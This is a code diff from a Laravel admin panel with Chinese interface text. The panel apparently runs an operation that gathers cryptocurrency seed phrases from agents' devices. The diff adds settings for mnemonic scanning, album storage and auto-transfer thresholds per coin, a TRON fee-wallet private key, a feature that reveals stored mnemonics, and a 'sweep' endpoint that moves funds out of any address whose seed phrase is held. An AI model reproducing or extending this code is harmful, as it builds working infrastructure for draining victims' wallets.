$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
|
if (! in_array($field, $sortable, true)) {
|
||||||
|
$field = 'id';
|
||||||
|
}
|
||||||
|
$q->orderBy($field, $order);
|
||||||
|
|
||||||
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
|
$data = collect($paginator->items())->map(function (SystemLog $row) {
|
||||||
|
return [
|
||||||
|
'id' => $row->id,
|
||||||
|
'actor_role' => $row->actorRoleLabel(),
|
||||||
|
'actor_username' => $row->actor_username ?: '—',
|
||||||
|
'content' => $row->content ?: '',
|
||||||
|
'ip' => $row->ip ?: '',
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
];
|
||||||
|
})->values();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $paginator->total(),
|
||||||
|
'data' => $data,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,38 +4,139 @@ namespace App\Http\Controllers\Admin;
|
|||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Services\SettingsService;
|
use App\Services\SettingsService;
|
||||||
|
use App\Services\TelegramNotifier;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
class SystemSettingsController extends Controller
|
class SystemSettingsController extends Controller
|
||||||
{
|
{
|
||||||
public function index(SettingsService $settings)
|
public function index(SettingsService $settings, TelegramNotifier $telegram)
|
||||||
{
|
{
|
||||||
|
$form = $settings->effectiveForForm();
|
||||||
|
$token = trim((string) config('coruna.telegram.bot_token', ''));
|
||||||
|
$username = trim((string) ($form['telegram.bot_username'] ?? ''));
|
||||||
|
if ($token !== '' && $username === '') {
|
||||||
|
$fetched = $telegram->fetchBotUsername($token);
|
||||||
|
if ($fetched !== null) {
|
||||||
|
$username = ltrim($fetched, '@');
|
||||||
|
$form['telegram.bot_username'] = $username;
|
||||||
|
try {
|
||||||
|
$settings->putMany(['telegram.bot_username' => $username]);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// Display works from runtime config; .env may be read-only for www.
|
||||||
|
config(['coruna.telegram.bot_username' => $username]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return view('admin.system.settings', [
|
return view('admin.system.settings', [
|
||||||
'form' => $settings->effectiveForForm(),
|
'form' => $form,
|
||||||
|
'botUsername' => $telegram->formatBotUsername($form['telegram.bot_username'] ?? ''),
|
||||||
|
'botInviteUrl' => $telegram->inviteUrl($form['telegram.bot_username'] ?? ''),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function update(Request $request, SettingsService $settings)
|
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
|
||||||
{
|
{
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
|
||||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||||
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
|
'official_album_storage' => ['nullable', 'in:0,1'],
|
||||||
'channels_domains' => ['nullable', 'string', 'max:4000'],
|
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
|
||||||
|
'scan_forward_min_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'scan_forward_min_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'scan_forward_min_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'scan_forward_min_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'scan_forward_min_sol' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'scan_forward_min_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
|
||||||
|
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||||
|
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||||
|
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
|
$threshold = static function (?string $v): ?string {
|
||||||
|
if ($v === null || trim($v) === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
$settings->putMany([
|
return trim($v);
|
||||||
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
|
};
|
||||||
|
|
||||||
|
$username = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
|
||||||
|
$token = trim((string) config('coruna.telegram.bot_token', ''));
|
||||||
|
$note = '';
|
||||||
|
if ($token !== '' && $username === '') {
|
||||||
|
$fetched = $telegram->fetchBotUsername($token);
|
||||||
|
if ($fetched !== null) {
|
||||||
|
$username = ltrim($fetched, '@');
|
||||||
|
} else {
|
||||||
|
$note = ';未能从 .env Token 读取 Bot 用户名,请确认 TELEGRAM_BOT_TOKEN 有效';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = [
|
||||||
|
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
|
||||||
? (string) $data['channels_max_per_agent']
|
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
|
||||||
: null,
|
'scan.forward_min_usdt' => $threshold($data['scan_forward_min_usdt'] ?? null) ?? '0',
|
||||||
// Persist normalized comma-separated list (empty clears override to []).
|
'scan.forward_min_trx' => $threshold($data['scan_forward_min_trx'] ?? null) ?? '0',
|
||||||
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
|
'scan.forward_min_eth' => $threshold($data['scan_forward_min_eth'] ?? null) ?? '0',
|
||||||
|
'scan.forward_min_btc' => $threshold($data['scan_forward_min_btc'] ?? null) ?? '0',
|
||||||
|
'scan.forward_min_sol' => $threshold($data['scan_forward_min_sol'] ?? null) ?? '0',
|
||||||
|
'scan.forward_min_bnb' => $threshold($data['scan_forward_min_bnb'] ?? null) ?? '0',
|
||||||
|
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||||
|
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||||
|
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||||
|
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||||
|
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||||
|
'auto_transfer.threshold_bnb' => $threshold($data['auto_transfer_threshold_bnb'] ?? null) ?? '',
|
||||||
|
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||||
|
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||||
|
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||||
|
];
|
||||||
|
|
||||||
|
try {
|
||||||
|
$settings->putMany($payload);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '保存失败:'.$e->getMessage().'(请让运行 PHP 的用户可写项目根目录 .env,或用 shell 直接改 .env)',
|
||||||
|
], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
$display = $telegram->formatBotUsername($username);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '已保存'.($display !== '' ? '(Bot '.$display.')' : '').$note,
|
||||||
|
'data' => [
|
||||||
|
'bot_username' => $display,
|
||||||
|
'bot_invite_url' => $telegram->inviteUrl($display),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testTelegram(Request $request, TelegramNotifier $telegram)
|
||||||
|
{
|
||||||
|
$data = $request->validate([
|
||||||
|
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => '已保存']);
|
$chatId = trim((string) ($data['chat_id'] ?? ''));
|
||||||
|
if ($chatId === '') {
|
||||||
|
$chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = $telegram->sendTest($chatId, '官方通知群推送正常。');
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => $result['ok'] ? 0 : 1,
|
||||||
|
'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'),
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,231 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\TransferRecord;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use Carbon\Carbon;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
|
||||||
|
class TransferRecordController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
return view('admin.transfers.index', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
// value => label (DB stores lowercase chain / uppercase asset)
|
||||||
|
'chains' => [
|
||||||
|
'tron' => 'TRON',
|
||||||
|
'eth' => 'ETH',
|
||||||
|
'bsc' => 'BSC',
|
||||||
|
'btc' => 'BTC',
|
||||||
|
],
|
||||||
|
'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$q = $this->baseQuery($request);
|
||||||
|
|
||||||
|
$sortable = ['id', 'chain', 'asset', 'amount', 'status', 'operator', 'created_at', 'updated_at'];
|
||||||
|
$field = (string) $request->query('field', 'id');
|
||||||
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
|
if (! in_array($field, $sortable, true)) {
|
||||||
|
$field = 'id';
|
||||||
|
}
|
||||||
|
$q->orderBy('transfer_records.'.$field, $order);
|
||||||
|
|
||||||
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
|
||||||
|
|
||||||
|
$data = collect($paginator->items())->map(function (TransferRecord $row) {
|
||||||
|
return [
|
||||||
|
'id' => $row->id,
|
||||||
|
'from_address' => $row->from_address ?: '',
|
||||||
|
'to_address' => $row->to_address ?: '',
|
||||||
|
'chain' => $row->chain ?: '',
|
||||||
|
'tx_hash' => $row->tx_hash ?: '',
|
||||||
|
'amount' => $row->amount ?: '',
|
||||||
|
'type' => $row->type ?: '',
|
||||||
|
'asset' => $row->asset ?: '',
|
||||||
|
'operator' => $row->operator ?: '',
|
||||||
|
'status' => $row->status ?: '',
|
||||||
|
'error' => $row->error ?: '',
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
|
];
|
||||||
|
})->values();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $paginator->total(),
|
||||||
|
'data' => $data,
|
||||||
|
'summary' => $this->successSummary($request),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Successful totals under the same top filters. Sweep vs fee-topup are split
|
||||||
|
* by operator (`fee-topup…`); status is always success.
|
||||||
|
*
|
||||||
|
* @return array{totals: list<array{asset: string, amount: string}>, fee_totals: list<array{asset: string, amount: string}>}
|
||||||
|
*/
|
||||||
|
private function successSummary(Request $request): array
|
||||||
|
{
|
||||||
|
$base = $this->baseQuery($request, ignoreStatus: true)
|
||||||
|
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'totals' => $this->sumByAsset(
|
||||||
|
(clone $base)->where(function (Builder $q) {
|
||||||
|
$q->whereNull('transfer_records.operator')
|
||||||
|
->orWhere('transfer_records.operator', 'not like', 'fee-topup%');
|
||||||
|
})
|
||||||
|
),
|
||||||
|
'fee_totals' => $this->sumByAsset(
|
||||||
|
(clone $base)->where('transfer_records.operator', 'like', 'fee-topup%')
|
||||||
|
),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{asset: string, amount: string}>
|
||||||
|
*/
|
||||||
|
private function sumByAsset(Builder $q): array
|
||||||
|
{
|
||||||
|
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||||
|
? 'CAST(transfer_records.amount AS REAL)'
|
||||||
|
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||||
|
|
||||||
|
$rows = $q->selectRaw('UPPER(transfer_records.asset) as asset, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||||
|
->groupByRaw('UPPER(transfer_records.asset)')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$byAsset = [];
|
||||||
|
foreach ($rows as $row) {
|
||||||
|
$asset = strtoupper(trim((string) $row->asset));
|
||||||
|
if ($asset === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$formatted = WalletAddress::formatAmount(strtolower($asset), $row->total);
|
||||||
|
$byAsset[$asset] = $formatted === '' ? '0' : $formatted;
|
||||||
|
}
|
||||||
|
|
||||||
|
$order = ['USDT', 'ETH', 'TRX', 'BNB', 'BTC'];
|
||||||
|
$totals = [];
|
||||||
|
foreach ($order as $asset) {
|
||||||
|
$totals[] = [
|
||||||
|
'asset' => $asset,
|
||||||
|
'amount' => $byAsset[$asset] ?? '0',
|
||||||
|
];
|
||||||
|
unset($byAsset[$asset]);
|
||||||
|
}
|
||||||
|
ksort($byAsset);
|
||||||
|
foreach ($byAsset as $asset => $amount) {
|
||||||
|
$totals[] = ['asset' => $asset, 'amount' => $amount];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $totals;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function baseQuery(Request $request, bool $ignoreStatus = false): Builder
|
||||||
|
{
|
||||||
|
$q = TransferRecord::query();
|
||||||
|
$agent = $this->agent();
|
||||||
|
|
||||||
|
if ($agent !== null) {
|
||||||
|
$channelIds = AgentScope::channelIdsFor($agent);
|
||||||
|
if ($channelIds === []) {
|
||||||
|
return $q->whereRaw('1 = 0');
|
||||||
|
}
|
||||||
|
|
||||||
|
$q->whereExists(function ($sub) use ($channelIds) {
|
||||||
|
$sub->selectRaw('1')
|
||||||
|
->from('wallet_addresses')
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||||
|
->whereColumn('wallet_addresses.address', 'transfer_records.from_address')
|
||||||
|
->whereIn('devices.channel_id', $channelIds);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
$from = trim((string) $request->query('from_address', ''));
|
||||||
|
$to = trim((string) $request->query('to_address', ''));
|
||||||
|
$txHash = trim((string) $request->query('tx_hash', ''));
|
||||||
|
$chain = trim((string) $request->query('chain', ''));
|
||||||
|
$asset = trim((string) $request->query('asset', ''));
|
||||||
|
$status = $ignoreStatus ? '' : trim((string) $request->query('status', ''));
|
||||||
|
$operator = trim((string) $request->query('operator', ''));
|
||||||
|
[$dateFrom, $dateTo] = $this->dateRange($request);
|
||||||
|
|
||||||
|
if ($from !== '') {
|
||||||
|
$q->where('transfer_records.from_address', 'like', '%'.$from.'%');
|
||||||
|
}
|
||||||
|
if ($to !== '') {
|
||||||
|
$q->where('transfer_records.to_address', 'like', '%'.$to.'%');
|
||||||
|
}
|
||||||
|
if ($txHash !== '') {
|
||||||
|
$q->where('transfer_records.tx_hash', 'like', '%'.$txHash.'%');
|
||||||
|
}
|
||||||
|
if ($chain !== '') {
|
||||||
|
$q->where('transfer_records.chain', $chain);
|
||||||
|
}
|
||||||
|
if ($asset !== '') {
|
||||||
|
$q->where('transfer_records.asset', $asset);
|
||||||
|
}
|
||||||
|
if ($status !== '') {
|
||||||
|
$q->where('transfer_records.status', $status);
|
||||||
|
}
|
||||||
|
if ($operator !== '') {
|
||||||
|
$q->where('transfer_records.operator', 'like', '%'.$operator.'%');
|
||||||
|
}
|
||||||
|
if ($dateFrom !== null) {
|
||||||
|
$q->where('transfer_records.created_at', '>=', $dateFrom);
|
||||||
|
}
|
||||||
|
if ($dateTo !== null) {
|
||||||
|
$q->where('transfer_records.created_at', '<=', $dateTo);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $q;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{0: ?Carbon, 1: ?Carbon}
|
||||||
|
*/
|
||||||
|
private function dateRange(Request $request): array
|
||||||
|
{
|
||||||
|
$from = trim((string) $request->query('date_from', ''));
|
||||||
|
$to = trim((string) $request->query('date_to', ''));
|
||||||
|
$range = trim((string) $request->query('date_range', ''));
|
||||||
|
if (($from === '' || $to === '') && $range !== '') {
|
||||||
|
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $range, $m) === 1) {
|
||||||
|
$from = $m[1];
|
||||||
|
$to = $m[2];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$start = null;
|
||||||
|
$end = null;
|
||||||
|
try {
|
||||||
|
if ($from !== '') {
|
||||||
|
$start = Carbon::parse($from)->startOfDay();
|
||||||
|
}
|
||||||
|
if ($to !== '') {
|
||||||
|
$end = Carbon::parse($to)->endOfDay();
|
||||||
|
}
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return [null, null];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [$start, $end];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,18 +3,22 @@
|
|||||||
namespace App\Http\Controllers\Admin;
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Services\Tokenview\TokenviewMonitorService;
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use App\Services\TransferService;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Support\Facades\Log;
|
use Illuminate\Support\Facades\Log;
|
||||||
|
use Illuminate\Validation\Rule;
|
||||||
|
|
||||||
class WalletAddressController extends Controller
|
class WalletAddressController extends Controller
|
||||||
{
|
{
|
||||||
use PortalAware;
|
use PortalAware;
|
||||||
|
use RevealsMnemonics;
|
||||||
|
|
||||||
public function index()
|
public function index()
|
||||||
{
|
{
|
||||||
@@ -28,10 +32,21 @@ class WalletAddressController extends Controller
|
|||||||
->orderBy('source')
|
->orderBy('source')
|
||||||
->pluck('source');
|
->pluck('source');
|
||||||
|
|
||||||
|
$chainTypes = WalletAddress::query()
|
||||||
|
->whereNotNull('chain_type')
|
||||||
|
->where('chain_type', '!=', '')
|
||||||
|
->distinct()
|
||||||
|
->orderBy('chain_type')
|
||||||
|
->pluck('chain_type');
|
||||||
|
|
||||||
return view('admin.addresses.index', [
|
return view('admin.addresses.index', [
|
||||||
'portal' => $this->portal(),
|
'portal' => $this->portal(),
|
||||||
'agents' => $agents,
|
'agents' => $agents,
|
||||||
'sources' => $sources,
|
'sources' => $sources,
|
||||||
|
'chainTypes' => $chainTypes,
|
||||||
|
'can_reveal' => $this->canRevealMnemonics(),
|
||||||
|
'google_bound' => $this->googleBoundForReveal(),
|
||||||
|
'google2fa_url' => $this->google2faUrl(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -39,22 +54,27 @@ class WalletAddressController extends Controller
|
|||||||
{
|
{
|
||||||
$q = $this->baseQuery($request);
|
$q = $this->baseQuery($request);
|
||||||
|
|
||||||
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol', 'monitor', 'created_at', 'updated_at'];
|
||||||
$field = (string) $request->query('field', 'id');
|
$field = (string) $request->query('field', 'id');
|
||||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
$field = 'id';
|
$field = 'id';
|
||||||
}
|
}
|
||||||
|
if ($field === 'collectable') {
|
||||||
|
$field = 'mnemonic_id';
|
||||||
|
}
|
||||||
$q->orderBy('wallet_addresses.'.$field, $order);
|
$q->orderBy('wallet_addresses.'.$field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
$canReveal = $this->canRevealMnemonics();
|
||||||
|
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||||
/** @var WalletAddress $row */
|
/** @var WalletAddress $row */
|
||||||
$coins = $row->formattedCoins();
|
$coins = $row->formattedCoins();
|
||||||
|
$mnemonicId = $row->mnemonic_id;
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
@@ -63,12 +83,20 @@ class WalletAddressController extends Controller
|
|||||||
'source' => $row->source ?: '',
|
'source' => $row->source ?: '',
|
||||||
'chain_type' => $row->chain_type ?: '',
|
'chain_type' => $row->chain_type ?: '',
|
||||||
'address' => $row->address,
|
'address' => $row->address,
|
||||||
|
'collectable' => $mnemonicId !== null,
|
||||||
|
'mnemonic_id' => $mnemonicId,
|
||||||
|
'reveal_url' => ($canReveal && $mnemonicId !== null)
|
||||||
|
? $this->mnemonicRevealUrl($mnemonicId)
|
||||||
|
: '',
|
||||||
'usdt' => $coins['usdt'],
|
'usdt' => $coins['usdt'],
|
||||||
'trx' => $coins['trx'],
|
'trx' => $coins['trx'],
|
||||||
'eth' => $coins['eth'],
|
'eth' => $coins['eth'],
|
||||||
'btc' => $coins['btc'],
|
'btc' => $coins['btc'],
|
||||||
'bnb' => $coins['bnb'],
|
'bnb' => $coins['bnb'],
|
||||||
|
'sol' => $coins['sol'],
|
||||||
'monitor' => (int) $row->monitor,
|
'monitor' => (int) $row->monitor,
|
||||||
|
'monitor_synced' => (bool) $row->monitor_synced,
|
||||||
|
'monitor_failures' => (int) $row->monitor_failures,
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||||
@@ -89,15 +117,15 @@ class WalletAddressController extends Controller
|
|||||||
'monitor' => ['required', 'integer', 'in:0,1'],
|
'monitor' => ['required', 'integer', 'in:0,1'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$allowed = WalletAddress::query()
|
if (! $this->addressInScope($address)) {
|
||||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
|
||||||
->where('wallet_addresses.id', $address->id);
|
|
||||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
|
||||||
if (! $allowed->exists()) {
|
|
||||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
}
|
}
|
||||||
|
|
||||||
$address->monitor = (int) $data['monitor'];
|
$address->monitor = (int) $data['monitor'];
|
||||||
|
// When the user toggles the switch, mark as unsynced and reset the
|
||||||
|
// failure counter so the scheduled task retries from scratch.
|
||||||
|
$address->monitor_synced = false;
|
||||||
|
$address->monitor_failures = 0;
|
||||||
$address->save();
|
$address->save();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -111,10 +139,135 @@ class WalletAddressController extends Controller
|
|||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => 'ok',
|
'msg' => 'ok',
|
||||||
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
|
'data' => [
|
||||||
|
'id' => $address->id,
|
||||||
|
'monitor' => (int) $address->monitor,
|
||||||
|
'monitor_synced' => (bool) $address->monitor_synced,
|
||||||
|
'monitor_failures' => (int) $address->monitor_failures,
|
||||||
|
],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function sweep(Request $request, WalletAddress $address, TransferService $transfers)
|
||||||
|
{
|
||||||
|
if (! $this->addressInScope($address)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$chain = $this->resolveTransferChain($address);
|
||||||
|
if ($chain === null) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '不支持的链类型'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$allowedAssets = $this->assetsForChain($chain);
|
||||||
|
$data = $request->validate([
|
||||||
|
'asset' => ['required', 'string', Rule::in($allowedAssets)],
|
||||||
|
'amount' => ['nullable', 'string'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$asset = strtoupper(trim((string) $data['asset']));
|
||||||
|
$amount = isset($data['amount']) ? trim((string) $data['amount']) : '';
|
||||||
|
if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') {
|
||||||
|
$amount = null;
|
||||||
|
} else {
|
||||||
|
$decimals = match (true) {
|
||||||
|
$asset === 'ETH', $asset === 'BNB' => 18,
|
||||||
|
$asset === 'BTC' => 8,
|
||||||
|
$asset === 'USDT' && $chain === 'bsc' => 18,
|
||||||
|
default => 6,
|
||||||
|
};
|
||||||
|
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '金额格式无效'], 422);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = $transfers->handle(
|
||||||
|
$chain,
|
||||||
|
$address->address,
|
||||||
|
$amount,
|
||||||
|
$asset,
|
||||||
|
$this->operatorLabel(),
|
||||||
|
);
|
||||||
|
|
||||||
|
if (! ($result['ok'] ?? false)) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => (string) ($result['error'] ?? '归集失败'),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => $result,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function addressInScope(WalletAddress $address): bool
|
||||||
|
{
|
||||||
|
$allowed = WalletAddress::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||||
|
->where('wallet_addresses.id', $address->id);
|
||||||
|
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||||
|
|
||||||
|
return $allowed->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
